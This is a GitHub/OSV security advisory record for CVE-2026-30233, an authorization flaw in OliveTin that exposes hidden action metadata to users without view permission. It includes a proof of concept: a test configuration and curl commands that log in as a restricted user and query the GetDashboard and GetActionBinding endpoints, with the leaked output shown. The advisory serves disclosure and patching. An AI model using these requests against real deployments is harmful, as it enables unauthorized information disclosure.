CVE-2026-30233: Github.com/OliveTin/OliveTin OliveTin Doesn't Check View Permission Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jf73-858c-54pg",
  "modified" : "2026-03-06T22:52:34Z",
  "published" : "2026-03-05T21:24:24Z",
  "aliases" : [ "CVE-2026-30233" ],
  "summary" : "OliveTin doesn't check view permission when returning dashboards",
  "details" : "### Summary\nAn authorization flaw in OliveTin allows authenticated users with view: false permission to enumerate action bindings and metadata via dashboard and API endpoints.\n\nAlthough execution (exec) may be correctly denied, the backend does not enforce IsAllowedView() when constructing dashboard and action binding responses. As a result, restricted users can retrieve action titles, IDs, icons, and argument metadata.\n\n### Details\nOliveTin defines a view permission in its ACL model (acl.go). However, this permission is not consistently enforced when building dashboard and action metadata responses.\n\nRelevant source locations:\n\ndashboards.go (around line 120, 132)\napiActions.go (around line 122)\nacl.go (around line 125)\napi.go (around line 430)\n\nDashboard building logic:\n```\nfor _, binding := range rr.ex.MapActionBindings {\n    if binding.Action.Hidden { continue }\n    action := buildAction(binding, rr) // checks IsAllowedExec only\n    fieldset.Contents = append(fieldset.Contents, ...)\n}\n```\nWhy vulnerable: IsAllowedView() exists but is not enforced when building dashboard/action metadata. Users with view:false still receive action titles/icons/argument metadata (with canExec:false).\n\n### PoC\n\n\n\n\n1. Configure OliveTin with a restricted user:\n\nCreate config.yaml:\n\n```yaml\nauthRequireGuestsToLogin: true\n\nauthLocalUsers:\n  enabled: true\n  users:\n    - username: admin\n      password: \"$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4\"  # password: admin123\n      permissions:\n        view: true\n        exec: true\n        logs: true\n    \n    - username: low\n      password: \"$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4\"  # password: low123\n      permissions:\n        view: false   # Should hide all actions\n        exec: false\n        logs: false\n\nactions:\n  - title: \"Secret Action\"\n    id: secret_action\n    shell: echo \"sensitive operation\"\n    icon: \"🔒\"\n    description: \"This action should be completely hidden\"\n    arguments:\n      - name: target\n        title: Target\n        type: string\n        default: production\n```\n2. Start OliveTin with this configuration\n\n3. Login as low-privilege user and capture session ID:\n\n```bash\n# Login as low user\nLOW_SID=$(curl -s -i -X POST http://localhost:1337/api/LocalUserLogin \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"low\",\"password\":\"low123\"}' \\\n  | awk -F'[=;]' '/^Set-Cookie: olivetin-sid-local=/{print $2; exit}' | tr -d ' ')\n\necho \"Low user SID: $LOW_SID\"\n```\n4. Verify the web UI respects view:false (optional but illustrative):\n\nOpen http://localhost:1337 in a browser logged in as low user - the \"Secret Action\" should NOT appear in the UI.\n\n5. Test 1: GetDashboard endpoint leaks action metadata:\n\n```bash\ncurl -s -X POST http://localhost:1337/api/GetDashboard \\\n  -H 'Content-Type: application/json' \\\n  -H \"Cookie: olivetin-sid-local=$LOW_SID\" \\\n  -d '{\"title\":\"Actions\"}' | jq '.fieldsets[0].contents[] | select(.action.bindingId==\"secret_action\")'\n```\nExpected behavior (if fixed): Empty result or no matching action\nObserved behavior (vulnerable):\n\n```json\n{\n  \"action\": {\n    \"bindingId\": \"secret_action\",\n    \"title\": \"Secret Action\",\n    \"icon\": \"🔒\",\n    \"description\": \"This action should be completely hidden\",\n    \"canExec\": false,\n    \"arguments\": [\n      {\n        \"name\": \"target\",\n        \"title\": \"Target\",\n        \"type\": \"string\",\n        \"default\": \"production\"\n      }\n    ]\n  }\n}\n```\n6. Test 2: GetActionBinding endpoint directly exposes action details:\n\n```bash\ncurl -s -X POST http://localhost:1337/api/GetActionBinding \\\n  -H 'Content-Type: application/json' \\\n  -H \"Cookie: olivetin-sid-local=$LOW_SID\" \\\n  -d '{\"bindingId\":\"secret_action\"}' | jq '.'\n```\nExpected behavior (if fixed): HTTP 403 Permission Denied\nObserved behavior (vulnerable):\n\n```json\n{\n  \"action\": {\n    \"bindingId\": \"secret_action\",\n    \"title\": \"Secret Action\",\n    \"icon\": \"🔒\",\n    \"description\": \"This action should be completely hidden\",\n    \"canExec\": false,\n    \"arguments\": [...]\n  }\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/OliveTin/OliveTin"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260305082002-d7962710e7c4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-jf73-858c-54pg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-30233"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/commit/d7962710e7c46f6bdda4188b5b0cdbde4be665a0"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/OliveTin/OliveTin"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-862" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-05T21:24:24Z",
    "nvd_published_at" : "2026-03-06T21:16:17Z"
  }
}